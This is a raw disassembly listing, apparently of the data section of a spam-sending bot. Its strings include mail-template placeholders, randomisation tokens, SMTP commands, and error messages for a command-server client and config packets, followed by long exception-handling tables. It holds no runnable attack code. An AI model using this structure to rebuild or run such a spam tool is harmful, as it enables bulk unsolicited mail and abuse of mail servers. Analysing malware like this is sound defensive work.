a_date		db '_DATE',0            ; DATA XREF: sub_408593+58o
		align 10h
a_my_ip		db '_MY_IP',0           ; DATA XREF: sub_408593+91o
		align 4
a_my_hostname	db '_MY_HOSTNAME',0     ; DATA XREF: sub_408593+CEo
		align 4
a_from_domain	db '_FROM_DOMAIN',0     ; DATA XREF: sub_408593+108o
		align 4
a_sender	db '_SENDER',0          ; DATA XREF: sub_408593:loc_4088F4o
a_helo		db '_HELO',0            ; DATA XREF: sub_408593+39Co
		align 4
asc_41EC38	db '#$',0               ; DATA XREF: sub_4094C5+7o
					; sub_4094C5+50o
		align 4
aDict		db 'DICT',0             ; DATA XREF: sub_4089E6:loc_408BACo
		align 4
aDict_sp	db 'DICT_SP',0          ; DATA XREF: sub_4089E6:loc_408BC5o
asc_41EC4C:				; DATA XREF: sub_4089E6+1F1o
		unicode	0, < >,0
aDict_nl	db 'DICT_NL',0          ; DATA XREF: sub_4089E6:loc_408BDEo
aRand_num	db 'RAND_NUM',0         ; DATA XREF: sub_4089E6:loc_408C09o
		align 4
a0123456789	db '0123456789',0       ; DATA XREF: sub_4089E6+235o
		align 10h
aRand_char_lc	db 'RAND_CHAR_LC',0     ; DATA XREF: sub_4089E6:loc_408C22o
		align 10h
aRand_char_uc	db 'RAND_CHAR_UC',0     ; DATA XREF: sub_4089E6:loc_408C3Bo
		align 10h
aAbcdefghijkl_0	db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_4089E6+267o
		align 4
aRand_char_mc	db 'RAND_CHAR_MC',0     ; DATA XREF: sub_4089E6:loc_408C54o
		align 4
aAbcdefghijkl_1	db 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0
					; DATA XREF: sub_4089E6+280o
		align 4
aRand_char_num	db 'RAND_CHAR_NUM',0    ; DATA XREF: sub_4089E6:loc_408C6Do
		align 4
aAbcdefghijkl_2	db 'abcdefghijklmnopqrstuvwxyz0123456789',0 ; DATA XREF: sub_4089E6+299o
		align 4
aRecipients	db 'RECIPIENTS',0       ; DATA XREF: sub_4089E6:loc_408C91o
		align 4
aTo		db 'To: ',0             ; DATA XREF: sub_409016+DAo
		align 10h
asc_41ED40	db ', ',0               ; DATA XREF: sub_409016+118o
					; sub_409016+1F3o ...
		align 4
aCc		db 0Dh,0Ah		; DATA XREF: sub_409016+1B5o
		db 'Cc: ',0
		align 4
aBcc		db 0Dh,0Ah		; DATA XREF: sub_409016+290o
		db 'Bcc: ',0
aMapSetTTooLong	db 'map/set<T> too long',0 ; DATA XREF: sub_409C73+1Ao
					; sub_40A5B6+1Ao
aInvalidMapSetT	db 'invalid map/set<T> iterator',0 ; DATA XREF: sub_40A92E+19o
					; sub_40ACEC+19o
aNomxS@S	db 'nomx: %s@%s',0Ah,0  ; DATA XREF: sub_40B49B+17Eo
		align 4
aServercommConn	db 'ServerComm::connect: cannot create socket',0 ; DATA XREF: sub_40B642+2Do
		align 10h
aServercommCo_0	db 'ServerComm::connect: unknown host',0 ; DATA XREF: sub_40B642+8Co
		align 4
aServercommCo_1	db 'ServerComm::connect: cannot connect',0 ; DATA XREF: sub_40B642+DFo
aServercommDoco	db 'ServerComm::doCommand: disconnected while sending header',0
					; DATA XREF: sub_40BA6E+20o
		align 4
aServercommDo_0	db 'ServerComm::doCommand: disconnected white sending body',0
					; DATA XREF: sub_40BA6E+6Bo
		align 4
aServercommGetr	db 'ServerComm::getResponse: disconnected while receiving header',0
					; DATA XREF: sub_40BB2D+3Ao
		align 4
aServercommGe_0	db 'ServerComm::getResponse: unexpected response',0
					; DATA XREF: sub_40BB2D:loc_40BBD2o
		align 4
aServercommGe_1	db 'ServerComm::getResponse: insane response size',0
					; DATA XREF: sub_40BB2D+E1o
		align 4
aServercommGe_2	db 'ServerComm::getResponse: disconnected while receiving body',0
					; DATA XREF: sub_40BB2D+13Fo
		align 4
aServercommGe_3	db 'ServerComm::getResponse: bad response -- SHOULD HAVE BEEN CAUGHT!'
					; DATA XREF: sub_40BB2D+247o
		db 0
		align 4
aServercommRead	db 'ServerComm::readDomains: email does not belong to any domain',0
					; DATA XREF: sub_40BDCD:loc_40BFF6o
		align 4
aConfigPacketHa	db 'Config packet has incorrect size',0 ; DATA XREF: sub_40C10E+19o
		align 10h
dword_41F000	dd 5A827999h			dd 6ED9EBA1h, 8F1BBCDCh, 0CA62C1D6h
aSmtpclientConn	db 'SmtpClient::connect: unknown host: %s',0Ah,0 ; DATA XREF: sub_40CCCC+75o
		align 4
aSmtpclientCo_0	db 'SmtpClient::connect: cannot connect to %s [%s]',0Ah,0
					; DATA XREF: sub_40CCCC+103o
aSmtpclientComm	db 'SmtpClient::command: connection broken',0Ah,0
					; DATA XREF: sub_40CDF4+5Fo
aHelo		db 'HELO ',0            ; DATA XREF: sub_40CE97+23o
		align 4
aSmtpclientHelo	db 'SmtpClient::helo: connection broken',0Ah,0 ; DATA XREF: sub_40CE97+6Ao
		align 10h
aMailFrom	db 'MAIL FROM: <',0     ; DATA XREF: sub_40CF4A+23o
		align 10h
asc_41F0D0	db '>',0Dh,0Ah,0        ; DATA XREF: sub_40CF4A+3Fo
					; sub_40CFFD+3Fo
aSmtpclientMail	db 'SmtpClient::mailFrom: connection broken',0Ah,0
					; DATA XREF: sub_40CF4A+6Ao
		align 10h
aRcptTo		db 'RCPT TO: <',0       ; DATA XREF: sub_40CFFD+23o
		align 4
aSmtpclientRcpt	db 'SmtpClient::rcptTo: connection broken',0Ah,0 ; DATA XREF: sub_40CFFD+6Ao
		align 4
aData		db 'DATA',0Dh,0Ah,0     ; DATA XREF: sub_40D0B0+11o
		align 4
aSmtpclientData	db 'SmtpClient::data: connection broken',0Ah,0 ; DATA XREF: sub_40D0B0+42o
		align 4
aQuit		db 'QUIT',0Dh,0Ah,0     ; DATA XREF: sub_40D183+11o
		align 4
aSmtpclientQuit	db 'SmtpClient::quit: connection broken',0Ah,0 ; DATA XREF: sub_40D183+3Fo
		align 4
aDddDdMmmYyyy	db 'ddd',27h,',',27h,' dd MMM yyyy ',0 ; DATA XREF: sub_40D2A0+25o
aHhMmSs		db 'HH',27h,':',27h,'mm',27h,':',27h,'ss ',0 ; DATA XREF: sub_40D2A0+53o
		align 4
a02_2d02d	db '%+02.2d%02d',0      ; DATA XREF: sub_40D2A0+88o
aSmtpclientRecv	db 'SmtpClient::recvResponse: connection broken',0Ah,0
					; DATA XREF: sub_40D355:loc_40D44Bo
		align 4
aS		db '%s',0Ah,0           ; DATA XREF: sub_40D355+1D3o
		dd 28h dup(0)
dword_41F298	dd 3 dup(0)			dd offset off_4241E0
		dd offset dword_41F40C
dword_41F2AC	dd 3 dup(0)			dd offset off_423014
		dd offset dword_41F2C0
dword_41F2C0	dd 2 dup(0)			dd 1, 41F2D0h, 41F2D8h,	0
		dd offset off_423014
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	41F2C0h
dword_41F2F4	dd 3 dup(0)			dd offset off_423C9C
		dd offset dword_41F308
dword_41F308	dd 2 dup(0)			dd 2, 41F318h, 41F324h,	41F3F0h, 0
		dd offset off_423C9C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F308h
dword_41F340	dd 3 dup(0)			dd offset off_42419C
		dd offset dword_41F354
dword_41F354	dd 2 dup(0)			dd 2, 41F364h, 41F3A4h,	41F370h, 0
		dd offset off_424170
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	41F38Ch, 2 dup(0)
		dd 1, 41F39Ch, 41F370h,	0
		dd offset off_42419C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F354h
dword_41F3C0	dd 3 dup(0)			dd offset off_4241FC
		dd offset dword_41F3D4
dword_41F3D4	dd 2 dup(0)			dd 2, 41F3E4h, 41F424h,	41F3F0h, 0
		dd offset off_4241E0
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	41F40Ch
dword_41F40C	dd 2 dup(0)			dd 1, 41F41Ch, 41F3F0h,	0
		dd offset off_4241FC
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F3D4h
dword_41F440	dd 3 dup(0)			dd offset off_424238
		dd offset dword_41F454
dword_41F454	dd 2 dup(0)			dd 3, 41F464h, 41F474h,	41F4C0h, 41F3F0h, 0
		dd offset off_424238
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F454h
dword_41F490	dd 3 dup(0)			dd offset off_424218
		dd offset dword_41F4A4
dword_41F4A4	dd 2 dup(0)			dd 2, 41F4B4h, 41F4C0h,	41F3F0h, 0
		dd offset off_424218
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F4A4h
dword_41F4DC	dd 3 dup(0)			dd offset off_424258
		dd offset dword_41F4F0
dword_41F4F0	dd 2 dup(0)			dd 2, 41F500h, 41F50Ch,	41F654h, 0
		dd offset off_424258
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F4F0h
dword_41F528	dd 3 dup(0)			dd offset off_42427C
		dd offset dword_41F53C
dword_41F53C	dd 2 dup(0)			dd 2, 41F54Ch, 41F558h,	41F654h, 0
		dd offset off_42427C
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F53Ch, 3 dup(0)
		dd offset off_4242A4
		dd offset dword_41F588
dword_41F588	dd 2 dup(0)			dd 2, 41F598h, 41F5A4h,	41F654h, 0
		dd offset off_4242A4
		dd 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F588h
dword_41F5C0	dd 3 dup(0)			dd offset off_4242C4
		dd offset dword_41F5D4
dword_41F5D4	dd 2 dup(0)			dd 2, 41F5E4h, 41F60Ch,	41F5F0h, 0
		dd offset off_4242F4
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 4Dh,	41F670h, 4242C4h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F5D4h
dword_41F628	dd 3 dup(0)			dd offset off_4242DC
		dd offset dword_41F63C
dword_41F63C	dd 2 dup(0)			dd 1, 41F64Ch, 41F654h,	0
		dd offset off_4242DC
		align 10h
		dd 0FFFFFFFFh, 0
		dd 40h,	41F63Ch, 2 dup(0)
		dd 1, 41F680h, 41F688h,	0
		dd offset off_4242F4
		dd 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	41F670h
dword_41F6A4	dd 3 dup(0)			dd offset off_42434C
		dd offset dword_41F6B8
dword_41F6B8	dd 2 dup(0)			dd 3, 41F6C8h, 41F6D8h,	41F4C0h, 41F3F0h, 0
		dd offset off_42434C
		dd 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	41F6B8h, 3 dup(0)
; ---------------------------------------------------------------------------
		lds	ecx, [eax]
		add	[eax], eax
		retf	109h
; ---------------------------------------------------------------------------
		align 4
		dd 12800h, 14058h, 19820h, 1AE6Bh, 1AE86h, 1AEA1h, 1AEB3h
		dd 1AEC2h, 1AEDFh, 1AEF1h, 1AEFBh, 1AF05h, 1AF14h, 1AF37h
		dd 1AF5Ah, 1AF64h, 1AF6Eh, 1AF80h, 1AF8Ah, 1AF94h, 1AFA6h
		dd 1AFC8h, 1AFDAh, 1AFE4h, 1AFF3h, 1AFFDh, 1B00Fh, 1B029h
		dd 1B045h, 1B0BCh, 1B0D4h, 1B0E9h, 1B0FBh, 1B10Dh, 1B117h
		dd 1B129h, 1B13Bh, 1B14Dh, 1B1B1h, 1B1DBh, 1B1FDh, 1B207h
		dd 1B211h, 1B21Bh, 1B24Eh, 1B270h, 1B28Ah, 1B2ACh, 1B2BEh
		dd 1B2D8h, 1B31Ah, 1B334h, 1B33Eh, 1B34Dh, 1B3CDh, 1B3D7h
		dd 1B3E6h, 1B3F0h, 1B428h, 1B448h, 1B46Fh, 1B4ACh, 1B4C6h
		dd 1B4D8h, 1B4FAh, 1B50Ch, 1B578h, 1B5A2h, 1B5ACh, 1B5C1h
		dd 1B5D3h, 1B5FBh, 1B60Dh, 1B627h, 1B639h, 1B65Bh, 1B670h
		dd 0
dword_41F840	dd 2 dup(0)						; sub_415B7C+7o
dword_41F848	dd 2 dup(0)						; sub_415BA0+7o
		dd 0FFFFFFFFh, 41AE63h
dword_41F858	dd 19930522h, 1, 41F850h, 5 dup(0)		dd 1, 0
dword_41F880	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DBBA
		align 10h
dword_41F8A0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40FA5C
		align 10h
dword_41F8C0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40FCFF
		align 10h
dword_41F8E0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40FDED
		align 10h
dword_41F900	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 41041Fh,	410433h, 0
dword_41F920	dd 0FFFFFFFEh, 0		dd 0FFFFFF80h, 0
		dd 0FFFFFFFEh, 410799h,	41079Dh, 0FFFFFFFEh, 41075Fh, 410773h
dword_41F948	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_411060
		align 8
dword_41F968	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_411182
		align 8
dword_41F988	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_411F71
		align 8
dword_41F9A8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41211E
		dd 0FFFFFFFEh, 0
		dd offset sub_41212A
dword_41F9D0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_412488
		align 10h
dword_41F9F0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset loc_4126FD
		align 10h
dword_41FA10	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
; ---------------------------------------------------------------------------
		jmp	fword ptr [edx]
; ---------------------------------------------------------------------------
		dw 41h
		align 10h
dword_41FA30	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_412E99
		align 10h
dword_41FA50	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_41322B
		align 10h
dword_41FA70	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41357C
		align 10h
dword_41FA90	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_413FB9
		align 10h
dword_41FAB0	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_414AA7
		align 10h
dword_41FAD0	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 10h
		dd 0FFFFFFFEh, 0
		dd offset sub_414C53
		dd 2 dup(0)
		dd offset sub_414C1F
dword_41FAF8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_414DBC
		align 8
dword_41FB18	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 4152E8h,	4152FCh, 0
dword_41FB38	dd 0FFFFFFFEh, 0		dd 0FFFFFF8Ch, 0
		dd 0FFFFFFFEh, 415B65h,	415B69h, 0
dword_41FB58	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_415F4B
		align 8
		dd offset loc_415F0D
		dd offset loc_415F17
dword_41FB80	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 415FF4h,	415FFDh, 40h, 2	dup(0)
		dd offset sub_4160D4
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 41FB9Ch
dword_41FBD0	dd 19930522h, 2, 41FBACh, 1, 41FBBCh, 3	dup(0)		dd 1, 0
dword_41FBF8	dd 0FFFFFFFEh, 0		dd 0FFFFFFB4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41620C
		align 8
		dd offset loc_41617C
		dd offset loc_416185
dword_41FC20	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 4163F3h,	4163F7h, 0
dword_41FC40	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 41648Ch,	416490h
dword_41FC5C	dd 0				dd offset sub_415DBE
		align 8
		dd offset dword_41FC6C
dword_41FC6C	dd 2, 41FC78h, 41FE5Ch,	0		dd offset off_423C9C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	41694Ch, 0
dword_41FC98	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 416A68h,	416A6Ch, 0
dword_41FCB8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 416AB8h,	416ABCh, 0
dword_41FCD8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_416D9D
		align 8
dword_41FCF8	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_417A68
		align 8
dword_41FD18	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417E5C
		align 8
dword_41FD38	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_417FC1
		align 8
dword_41FD58	dd 0FFFFFFFEh, 0		dd 0FFFFFFC0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418266
		align 8
dword_41FD78	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 418352h,	418369h, 0
dword_41FD98	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 4183AEh,	4183CAh, 0
dword_41FDB8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_418D22
		align 8
dword_41FDD8	dd 0FFFFFFFEh, 0		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_419402
		align 8
dword_41FDF8	dd 0FFFFFFFEh, 0		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_419F08
		align 8
dword_41FE18	dd 0FFFFFFFEh, 0		dd 0FFFFFFC8h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41A0CE
		dd 2 dup(0)
		dd offset sub_41A005
dword_41FE40	dd 0FFFFFFFEh, 0		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_41A1AE
		align 10h
		dd offset off_4241E0
		align 8
		dd 0FFFFFFFFh, 0
		dd 0Ch,	40D8D9h, 0
		dd offset off_4241FC
		dd 0
		dd 0FFFFFFFFh, 0
dword_41FE8C	dd 0Ch,	401850h, 2, 41FE78h, 41FE5Chdword_41FEA0	dd 0							; sub_405F1C+34o ...
		dd offset loc_401000
		dd 0
		dd offset dword_41FE8C+8
		dd 0
		dd offset off_424218
		dd 0
		dd 0FFFFFFFFh, 0
		dd 28h,	401919h, 0
		dd offset off_424238
		align 8
		dd 0FFFFFFFFh, 0
dword_41FEE0	dd 28h,	402433h, 3, 41FECCh, 41FEB0h, 41FE5Chdword_41FEF8	dd 0							; sub_405EBC+39o ...
		dd offset loc_4018EC
		dd 0
		dd offset dword_41FEE0+8
		dd 0
		dd offset off_424334
		dd 0
		dd 0FFFFFFFFh, 0
dword_41FF1C	dd 1Ch,	4033C8h, 1, 41FF08hdword_41FF2C	dd 0							; sub_40376E+9Co ...
		dd offset loc_4033BE
		align 8
		dd offset dword_41FF1C+8
		align 10h
		dd offset off_42434C
		align 8
		dd 0FFFFFFFFh, 0
dword_41FF50	dd 28h,	4081A7h, 3, 41FF3Ch, 41FEB0h, 41FE5Chdword_41FF68	dd 0							; sub_40ACEC+36o ...
		dd offset sub_40817A
		dd 0
		dd offset dword_41FF50+8
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 1, 0
		dd 1, 0
		dd 40h,	2 dup(0)
		dd offset sub_4016BB
		dd 40h,	2 dup(0)
		dd offset loc_401640
		dd 2 dup(2), 3,	1, 41FF98h, 2 dup(0)
		dd 3, 1, 41FFA8h
dword_41FFE0	dd 19930522h, 4, 41FF78h, 2, 41FFB8h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41AEABh
dword_42000C	dd 19930522h, 1, 420004h, 5 dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41AEBD
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_40ACD9
		dd 0
		dd 1, 2, 1, 420048h
dword_42006C	dd 19930522h, 3, 420030h, 1, 420058h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41AECCh, 0
		dd offset loc_41AED4
dword_4200A0	dd 19930522h, 2, 420090h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41AEE9h
dword_4200CC	dd 19930522h, 1, 4200C4h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_407114
		dd 2 dup(0)
		dd 2 dup(1), 420100h
dword_420124	dd 19930522h, 2, 4200F0h, 1, 420110h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_4070AD
		align 10h
		dd 2 dup(1), 420158h
dword_42017C	dd 19930522h, 2, 420148h, 1, 420168h, 3	dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41AF0F
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_402420
		dd 0
		dd 1, 2, 1, 4201B8h
dword_4201DC	dd 19930522h, 3, 4201A0h, 1, 4201C8h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41AF1Eh
dword_420208	dd 19930522h, 1, 420200h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41AF41h
dword_420234	dd 19930522h, 1, 42022Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40CB7F
		align 10h
		dd 2 dup(1), 420268h
dword_42028C	dd 19930522h, 2, 420258h, 1, 420278h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
; ---------------------------------------------------------------------------
		cmpsb
		retf	40h
; ---------------------------------------------------------------------------
		dd 2 dup(0)
		dd 2 dup(1), 4202C0h
dword_4202E4	dd 19930522h, 2, 4202B0h, 1, 4202D0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41AF78h, 4 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_40B41A
		dd 2 dup(1), 2,	1, 420320h
dword_420344	dd 19930522h, 3, 420308h, 1, 420330h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40B394
		align 10h
		dd 2 dup(1), 420378h
dword_42039C	dd 19930522h, 2, 420368h, 1, 420388h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40B2C5
		dd 2 dup(0)
		dd 2 dup(1), 4203D0h
dword_4203F4	dd 19930522h, 2, 4203C0h, 1, 4203E0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41AF9Eh
dword_420420	dd 19930522h, 1, 420418h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41AFB0h, 0
		dd offset loc_41AFB8
		align 8
		dd offset loc_41AFC0
dword_42045C	dd 19930522h, 3, 420444h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41AFD2h
dword_420488	dd 19930522h, 1, 420480h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_407353
		dd 2 dup(0)
		dd 2 dup(1), 4204BCh
dword_4204E0	dd 19930522h, 2, 4204ACh, 1, 4204CCh, 3	dup(0)		dd 1, 0FFFFFFFFh, 2 dup(0)
		dd offset loc_41AFEE
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_406F9C
		align 10h
		dd 1, 2, 1, 42051Ch
dword_420540	dd 19930522h, 3, 420504h, 1, 42052Ch, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_406725
		dd 2 dup(0)
		dd 2 dup(1), 420574h
dword_420598	dd 19930522h, 2, 420564h, 1, 420584h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B007h
dword_4205C4	dd 19930522h, 1, 4205BCh, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B019h, 0
		dd offset loc_41B021
dword_4205F8	dd 19930522h, 2, 4205E8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B033h, 0
		dd offset loc_41B03D
dword_42062C	dd 19930522h, 2, 42061Ch, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B04Fh, 0
		dd offset loc_41B05A
		dd 1, 41B065h, 2, 41B070h, 3, 41B07Bh, 4, 41B086h, 5, 41B093h
		dd 6, 41B0A0h, 7, 41B0AEh
dword_420698	dd 19930522h, 9, 420650h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B0C6h
dword_4206C4	dd 19930522h, 1, 4206BCh, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B0DEh
dword_4206F0	dd 19930522h, 1, 4206E8h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B0F3h
dword_42071C	dd 19930522h, 1, 420714h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B105h
dword_420748	dd 19930522h, 1, 420740h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_40C975
		dd 40h,	2 dup(0)
		dd offset loc_40C97E
		dd 2 dup(0)
		dd 2 dup(1), 42078Ch, 2	dup(2),	3, 1, 42079Ch
dword_4207D4	dd 19930522h, 4, 42076Ch, 2, 4207ACh, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B121h, 8 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_40C511
		dd 40h,	2 dup(0)
		dd offset loc_40C59E
		dd 2 dup(1), 2,	1, 420820h, 2 dup(3), 4, 1, 420830h
dword_420868	dd 19930522h, 5, 4207F8h, 2, 420840h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B133h, 8 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_40A348
		dd 40h,	2 dup(0)
		dd offset loc_40A3CE
		dd 2 dup(1), 2,	1, 4208B4h, 2 dup(3), 4, 1, 4208C4h
dword_4208FC	dd 19930522h, 5, 42088Ch, 2, 4208D4h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B145h, 8 dup(0)
		dd 40h,	2 dup(0)
		dd offset loc_409F2A
		dd 40h,	2 dup(0)
		dd offset loc_409FAB
		dd 2 dup(1), 2,	1, 420948h, 2 dup(3), 4, 1, 420958h
dword_420990	dd 19930522h, 5, 420920h, 2, 420968h, 3	dup(0)		dd 1, 0FFFFFFFFh, 41B157h, 0
		dd offset loc_41B170
		align 8
		dd offset loc_41B178
		dd 2, 41B180h, 3, 41B188h, 2, 41B190h, 0
		dd offset loc_41B1A9
dword_4209EC	dd 19930522h, 7, 4209B4h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B1BBh, 0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0B1h, 41h, 0
		dd 0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B1h, 41h, 0
		dd 2, 41B1D3h
dword_420A30	dd 19930522h, 4, 420A10h, 5 dup(0)		dd 1, 0FFFFFFFFh, 41B1E5h, 0
		dd offset loc_41B1ED
		dd 1, 41B1F5h
dword_420A6C	dd 19930522h, 3, 420A54h, 5 dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset sub_40764D
		dd 2 dup(0)
		dd 2 dup(1), 420AA0h
dword_420AC4	dd 19930522h, 2, 420A90h, 1, 420AB0h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
		dd offset loc_407175
		align 10h
		dd 2 dup(1), 420AF8h
dword_420B1C	dd 19930522h, 2, 420AE8h, 1, 420B08h, 3	dup(0)		dd 1, 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	2 dup(0)
